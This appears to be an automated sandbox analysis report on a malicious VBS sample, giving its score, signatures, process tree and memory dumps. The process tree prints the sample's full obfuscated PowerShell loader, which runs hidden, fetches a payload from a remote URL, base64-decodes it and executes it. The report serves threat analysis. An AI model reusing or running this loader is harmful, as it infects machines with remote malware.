Analysis
- max time kernel
138s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
12/06/2024, 14:46
General
- Target 0e9b40404a17d8a691ae7a5683046eb6f76d0c3f96ea59f379a1057f8b4b5963.vbs
- Size 22KB
- Sample240612-r5s5basflp
- SHA256 0e9b40404a17d8a691ae7a5683046eb6f76d0c3f96ea59f379a1057f8b4b5963
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0e9b40404a17d8a691ae7a5683046eb6f76d0c3f96ea59f379a1057f8b4b5963.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden "$Blankoveksel = 1;Function Bavlet($Organisationsuddannelsens){$Dokmarok=$Organisationsuddannelsens.Length-$Blankoveksel;$Aeronomist133='Substring';For( $Krydsild=4;$Krydsild -lt $Dokmarok;$Krydsild+=5){$Sawsharper+=$Organisationsuddannelsens.$Aeronomist133.Invoke( $Krydsild, $Blankoveksel);}$Sawsharper;}function Pyts($Wisewomen){ & ($Oversteadfast) ($Wisewomen);}$Plastre35=Bavlet 'UdviM olo ilbzE,priBe gl O elGlataGeli/ Wee5 dgi.Subj0Melo Tem.(Op.uWQueriTra nGenndRedaoG upwVelas Syn AktiN CorT Ple P i1 Rio0.irl.Misk0M.sl;Coim StarWT afiUdbrnk,nt6Pras4anfr; Fyr Cre,xKla 6 Str4Spa,;s,ra vintrPortvCinn:Wes.1 Des2Pect1Squa.Chor0Tekn) T.a SpirGEmiseF,ssc akkkNs,fo syb/ruls2Spin0 Ty.1Fien0Co.u0Forr1Unsa0Bron1,rin GenyF afiPa er sk.eHarpfChisoNatixAske/ far1 il2Gr.d1pseu. Res0Reva ';$Wooding=Bavlet ' ranUforssReure UncrRec,-KaraATermgMelaeSt.anIn gtT,le ';$Ungloom=Bavlet 'TranhKulttAnkrt Xy.pScra:S ar/Smec/FervtCro.e ClasRhiztSne,.summeFr.mhMejerMarmhPegaaBlokrPengd EfttMejstUnd,oTi,soAab,l isa.Vigec ProoCretmNit /KoreaNylisSerbsUblue S,atModasP.se/MoloiBandmCalia In,gEtage Ices Rke/Ac.oD.egio Ov.mSpytkSitriNeurrInsek AlbeWestrSmoonI,gteAstrs ons.LedetBevioGrefcMi.i ';$Forhastede=Bavlet 'Siks> Tre ';$Oversteadfast=Bavlet 'Desci BeneGrunx ebs ';$Molrooken='Yardman';$Chloranemic = Bavlet 'PlecepetrcVierhUordoU ex B,rs%unstaDilepPedlpR codPu lawei tBlokamill%Path\NondD apoeOssevHelieChee.in,ioGlo,vGraneS.ua o,er& Tyv&Nert DepreC.nfcForphNig.oS,lf esstgr n ';Pyts (Bavlet 'Tens$ImmagCentlSpedoUninbFigeaDowkl Bla: RocWAdeloVandn.astdBe.oe MolrAlohmM spoKredn tregTraceHalvrRveri OrdnSbregj er=S,ve(EnlucaligmMicrd Non Chan/ ortc Afs ,hee$CranC,andh SollCredo ForrGodsahistn U,ieRentmPolyiDisic eks)Ment ');Pyts (Bavlet 'sogd$,kimgS.mnlChanoErigbRec a leclOl,t:Pat,B.toruMontsSnabfJollu TrilPuel=Mult$U,fyUAntinSuttg.aryldisgoXiphoJewemB,as. StasUddapCobbl anniDyn t ide(.fho$DagrF IlaoPtabrFirshTerraKashs u ctD,taeV.ppdT.lseAflo) In ');$Ungloom=$Busful[0];$Fritidssysselens= (Bavlet ' Sem$ Kolg ygelSemiobalabmegaaNavblring: ,rdJBaa.o,oopnAm,ie,nussTs.meCosmsFreg1 Mor2 wee5Pa,a= FisNPateeTo gw Bar-RaevOMonob RecjCenteTetrcS.eltBemi K.iSSgsmyApplsAglot fageAlbumBalo. .imNCrepe PiltCat...oxiW Be.eS,ecb LamCBesglDelaiParaeKaffnAne.t');$Fritidssysselens+=$Wondermongering[1];Pyts ($Fritidssysselens);Pyts (Bavlet ' Svi$ AntJBoxboBi.vn Ante Imps.arieCreasIns,1,eoa2garv5Shir.Flj HMoreeO,toaKva.dSlipe S grStipsGold[Vigo$,agsWSlagoOptio cldTraciUndenTyragudva]Bort= Va $ ZorPRrinlAntea stusHebrtAerorBasie A a3Veg,5 Dug ');$Driftsforstyrrelsen=Bavlet ' mau$ ansJ Skro lamnBeaue kses.emieOrdhsFore1 .on2Kole5,pro. BloD.onsoMilewAkronblamlhoveoro iaemm.dTariFRaasiSporl Accep re(Mesh$SmaaUCanon Radg UnslEn.roHutuoBldem,yre,Gene$NoniT UnsrKan,eArbemS.anm NymeAvigsMoiltRa.ioAnkelSlav)D as ';$Tremmestol=$Wondermongering[0];Pyts (Bavlet 'Uege$Pr,ng dy,lsep,oAk.ibDeleaIdiol Mar:,orsBVersiHummp FenlRa,ta hennSt,veH.tar C,ps ore= D x(ArbeT DeseMa.gsC rbtVok.- sy,PUndeaArbetFluxhIsen Rumm$Arc.TelsbrSulfeBanjmKardmPer,e g.vsPre,ta oxoSumplMark)Slid ');while (!$Biplaners) {Pyts (Bavlet ' Wil$KlamgSkftl AmaoV nebSwooaDonkl S,l: crafWavarPortudowniRyuktKarnaIskagHudseBilfsAwle= ei$UntutMelerGladuStjfeliqu ') ;Pyts $Driftsforstyrrelsen;Pyts (Bavlet 'JackSazottStriaEnc r,regt Arc- FriSBerelKau,eDo,beTekspGenn K,i4an,v ');Pyts (Bavlet 'Farv$Provg Vv l.bafo llbIn eaUnexlJord:fr,pB SupitorppA bnlleucaNiminAscee Prdr,rotsO,nc=Flak(CholTAntieBa,bsBardtb,sm-StkyP M aaPseut,emmhForm Tal$NedbT.fryrV.nte Volm stomOpbeeBalas Vart Ando Nonlmr e)Semi ') ;Pyts (Bavlet 'Unim$O stgBulllCz.roRegibSuf apotpl Tr : forfPrinlMiskj,etetNonpeAirmkLrreeDossd,queeDruplUndis Sup= Dds$seddgIll.l XeroGit,bDeceaSurfl Tod:RevatAkvahHoroyPropmAabeo casn padu UnicPoonlRigseSkani,ilvcTogr+ Pup+Pala%.ign$M raBUnp.uWholsUncofGirjuA eslDedi.Dalbc,lodoRitauPloen Mant Zo, ') ;$Ungloom=$Busful[$fljtekedels];}$Tinemarie=324195;$Perspektiveringen=29034;Pyts (Bavlet 'Raas$EraggattilDiago P.rbUnreaBil.lIsma:Pe,daRosefStergSpenr AdmsPor, Umul=Salk illGSupeeUns.t ,ou-UforC BiloSyednSenststaseDan,nHyletR,tt ,ell$ Gy TAtarrCereeOvermSparmBalseLetmsPlantSikkoSesqlGa p ');Pyts (Bavlet 'Komb$B,odgpolylRecaoOplibDrifa Tr lAnth:Cha SHor.iHugspOpsthCoinoUnwon Lejo CauzA,vno,rigoUdleiEremd Tid Chas=Svej Refl[MestSCremyuddrsStitt ,teeIltsmTr k. omaC Druo SlunmesivOxygeHyttrPeaktDen.]Part:Grap:LovnFStocr,laqoFri mOverBBak.aHapssepo,eP.ot6St o4LlanS FadtDuelrFormiZ nknBagigDeto(Ans $AmphaUnrofDrueg.fklrEl.ksFora)R pa ');Pyts (Bavlet ' Be,$Aflsg ,atlSvreoNeu,bPinkamid,lAn m:Uds,LcaliiVirkd.icrdTer i Con Riv=Resu Ben[ MarS KysyBrugsGenotEskae ndem,upa.Mi.hTPulpeTopmxAffdtFla..To,oECo.knToluc EffoFlu,dinviiRendn AptgNo p]No c:Hool:OptaAsommS Un,CArc.IGldeIBorg.DillGStrae alet K,sSHightUnderSu.eiAfornpropgFas (Prot$Sne S.npri NumpInsth.culo su nUdstoRetrzSparo Ag.o ,agitandd orh).cre ');Pyts (Bavlet ' Coc$TuffgA,belCelloSmelb Gana u.slSuba:.iskUUncofSplao Hedr ypnsAarskMon,aPartmMa.im Inte Aqud R neLact=Bian$Syv.L,pliiSuprdVultdN.lii reg.sticsProtuAm sbTaxasPachtMon r R sicoxcnCyk,gAtri(fant$Put,TFootiEftenJuveeCrotmoth.aFor r Dr i Lave Sti, .id$S.mmPChipeUn.rrG.ngsGynopMeldeLnsukUnextEug iSheevNakkeBaggrAmblitremnNed.g.egeeIn unGloo)Epee ');Pyts $Uforskammede;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Deve.ove && echo t"3⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3468,i,6166776566165096562,4582328833313060853,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ok2uv3bn.hez.ps1
memory/4200-0-0x00007FFF90423000-0x00007FFF90425000-memory.dmp
memory/4200-6-0x000001E3F7640000-0x000001E3F7662000-memory.dmp
memory/4200-11-0x00007FFF90420000-0x00007FFF90EE1000-memory.dmp
memory/4200-12-0x00007FFF90420000-0x00007FFF90EE1000-memory.dmp
memory/4200-13-0x00007FFF90420000-0x00007FFF90EE1000-memory.dmp
memory/4200-14-0x00007FFF90423000-0x00007FFF90425000-memory.dmp
memory/4200-15-0x00007FFF90420000-0x00007FFF90EE1000-memory.dmp
memory/4200-16-0x00007FFF90420000-0x00007FFF90EE1000-memory.dmp